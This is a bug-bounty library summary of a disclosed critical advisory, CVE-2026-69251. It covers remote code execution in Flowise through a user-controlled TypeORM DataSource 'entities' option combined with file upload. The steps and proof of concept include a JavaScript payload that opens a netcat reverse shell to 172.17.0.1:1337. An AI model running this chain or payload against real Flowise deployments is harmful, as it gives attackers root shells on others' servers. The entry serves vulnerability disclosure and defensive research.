# Flowise RCE via TypeORM DataSource

Flowise record-manager nodes pass user-controlled additionalConfig to TypeORM DataSource, letting an authenticated user load a JS file via entities and execute code as root.

- Payout: Research
- Severity: critical
- Program: Flowise
- Found by: alex-elttam
- Disclosed: 2026-08-04
- CVE: CVE-2026-69251
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-g32j-mmxr-gfq5
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-g32j-mmxr-gfq5
- Tags: area:web domain:web impact:privesc impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:chained technique:source-review vuln:rce

**Target:** Flowise record manager / agent memory nodes (TypeORM DataSource config)
**Root cause:** Record manager and agent memory nodes pass the user-supplied additionalConfig object directly into the TypeORM DataSource constructor, which supports loading local files as JavaScript via entities/subscribers/migrations.
**Steps:**
1. Log in and read activeOrganizationId from the `POST /api/v1/auth/login` response.
2. Create a document store, upload `rce.js` containing `process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')` via File Loader.
3. Read `storeId` from the `POST /api/v1/document-store/loader/process/{loader_id}` response.
4. Import the chatflow and configure MySQL Record Manager, OpenAI Embedding and Weaviate nodes.
5. In the MySQL Record Manager 'Additional Parameters', set `additionalConfig.entities` to the path of the uploaded `rce.js` under the Flowise home directory.
6. Start an Upsert operation; the payload executes and the reverse shell connects back.
**How found:** Noticed the nodes accept arbitrary `additionalConfig` for the TypeORM DataSource and that DataSource options like `entities` load local files as JavaScript, then combined with the file-upload feature to place attacker-controlled JS on disk.
**Exploitation:** Authenticated user uploads a JS file as a document, then points the TypeORM DataSource `entities` option at that file's path on disk; when the record manager initializes the DataSource during an Upsert, TypeORM requires the file as JS, escaping the vm2 sandbox and running the reverse shell as root in the Docker image.
**Escalation:** Sandbox escape from the vm2-restricted node execution to full host process code execution as root.
**Insight:** When a low-code platform exposes ORM/driver config objects to users, check options that import code by path (TypeORM entities/subscribers/migrations, Sequelize models) and pair them with any file-upload primitive to get a path to attacker-controlled JS.

## Proof of concept (copied exactly from the original report)

**Reverse shell JS payload uploaded as file**

```
process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')
```

**Login response leaking organization ID**

```
HTTP/1.1 200 OK
Set-Cookie: token=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: refreshToken=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: connect.sid=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Content-Type: application/json; charset=utf-8
Content-Length: 671
ETag: W/"29f-xnGhZVNYDhOOLUuVSPq0rZLC8mE"
Date: Wed, 15 Apr 2026 10:58:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{
    "activeOrganizationCustomerId": null,
    "activeOrganizationId": "c060f6ef-047b-47b0-8f1a-15ffa11961cc", <1>
    "activeOrganizationProductId": "",
    "activeOrganizationSubscriptionId": null,
    "activeWorkspace": "Default Workspace",
    "activeWorkspaceId": "3206d8d3-944f-48c6-9332-11e2752b793e",
    "assignedWorkspaces": [
        {
            "id": "3206d8d3-944f-48c6-9332-11e2752b793e",
            "name": "Default Workspace",
            "organizationId": "c060f6ef-047b-47b0-8f1a-15ffa11961cc", <1>
            "role": "owner"
        }
    ],
    "email": "admin@flowise.local",
    "features": {},
    "id": "b60bc90f-c77d-41ba-bb7b-cbd7f9e6d4ab",
    "isOrganizationAdmin": true,
    "isSSO": false,
    "name": "Admin",
    "permissions": [
        "organization",
        "workspace"
    ],
    "roleId": "b1d1a990-b908-1f7f-889b-5603cb093ff1"
}
```